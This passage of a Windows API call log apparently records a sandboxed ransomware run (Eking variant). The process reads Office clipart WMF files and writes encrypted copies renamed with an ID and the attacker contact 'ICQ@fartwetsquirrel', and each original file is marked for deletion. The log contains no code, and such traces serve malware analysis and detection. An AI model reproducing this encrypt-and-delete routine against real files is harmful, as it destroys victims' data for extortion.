lpNumberOfBytesRead=0x30dfd3c*=0x804, lpOverlapped=0x0) returned 1 [0270.858] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x810, lpOverlapped=0x0) returned 1 [0270.861] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0270.862] CloseHandle (hObject=0x398) returned 1 [0270.862] CloseHandle (hObject=0x380) returned 1 [0270.862] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0 [0270.862] SetEvent (hEvent=0x2b8) returned 1 [0270.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.123] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2232) returned 1 [0271.123] CloseHandle (hObject=0x368) returned 1 [0271.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0271.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0271.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.155] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.155] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0271.157] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x8b8, lpOverlapped=0x0) returned 1 [0271.159] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x8c0, lpOverlapped=0x0) returned 1 [0271.161] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.161] CloseHandle (hObject=0x368) returned 1 [0271.161] CloseHandle (hObject=0x3b4) returned 1 [0271.161] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0 [0271.162] SetEvent (hEvent=0x2b8) returned 1 [0271.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.163] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2084) returned 1 [0271.164] CloseHandle (hObject=0x3b4) returned 1 [0271.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0271.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0271.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.164] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.165] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0271.166] ReadFile (in: hFile=0x3b4, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x824, lpOverlapped=0x0) returned 1 [0271.168] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x830, lpOverlapped=0x0) returned 1 [0271.169] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.169] CloseHandle (hObject=0x3b4) returned 1 [0271.169] CloseHandle (hObject=0x368) returned 1 [0271.169] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0 [0271.169] SetEvent (hEvent=0x2b8) returned 1 [0271.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.170] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1448) returned 1 [0271.170] CloseHandle (hObject=0x368) returned 1 [0271.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0271.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0271.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.171] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.171] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0271.172] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x5a8, lpOverlapped=0x0) returned 1 [0271.174] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x5b0, lpOverlapped=0x0) returned 1 [0271.176] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.176] CloseHandle (hObject=0x368) returned 1 [0271.176] CloseHandle (hObject=0x3b4) returned 1 [0271.176] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0 [0271.176] SetEvent (hEvent=0x2b8) returned 1 [0271.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.177] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2996) returned 1 [0271.177] CloseHandle (hObject=0x3b4) returned 1 [0271.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0271.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0271.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.178] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.178] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0271.179] ReadFile (in: hFile=0x3b4, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xbb4, lpOverlapped=0x0) returned 1 [0271.181] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xbc0, lpOverlapped=0x0) returned 1 [0271.183] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.183] CloseHandle (hObject=0x3b4) returned 1 [0271.183] CloseHandle (hObject=0x368) returned 1 [0271.183] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0 [0271.183] SetEvent (hEvent=0x2b8) returned 1 [0271.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.184] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2296) returned 1 [0271.184] CloseHandle (hObject=0x368) returned 1 [0271.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0271.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0271.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0271.185] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.185] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0271.187] ReadFile (in: hFile=0x368, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x8f8, lpOverlapped=0x0) returned 1 [0271.189] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x900, lpOverlapped=0x0) returned 1 [0271.190] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.190] CloseHandle (hObject=0x368) returned 1 [0271.190] CloseHandle (hObject=0x3b4) returned 1 [0271.190] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0 [0271.190] SetEvent (hEvent=0x2b8) returned 1 [0271.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.191] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=8564) returned 1 [0271.191] CloseHandle (hObject=0x3b4) returned 1 [0271.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0271.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0271.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0271.473] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.473] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0271.474] ReadFile (in: hFile=0x3ac, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x2174, lpOverlapped=0x0) returned 1 [0271.477] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2180, lpOverlapped=0x0) returned 1 [0271.478] WriteFile (in: hFile=0x3a8, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.478] CloseHandle (hObject=0x3ac) returned 1 [0271.479] CloseHandle (hObject=0x3a8) returned 1 [0271.479] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0 [0271.479] SetEvent (hEvent=0x2b8) returned 1 [0271.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.484] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=580) returned 1 [0271.484] CloseHandle (hObject=0x3a8) returned 1 [0271.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0271.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0271.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0271.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0271.484] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.485] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0271.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3ac [0271.485] ReadFile (in: hFile=0x3a8, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x244, lpOverlapped=0x0) returned 1 [0271.487] WriteFile (in: hFile=0x3ac, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x250, lpOverlapped=0x0) returned 1 [0271.488] WriteFile (in: hFile=0x3ac, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0271.488] CloseHandle (hObject=0x3a8) 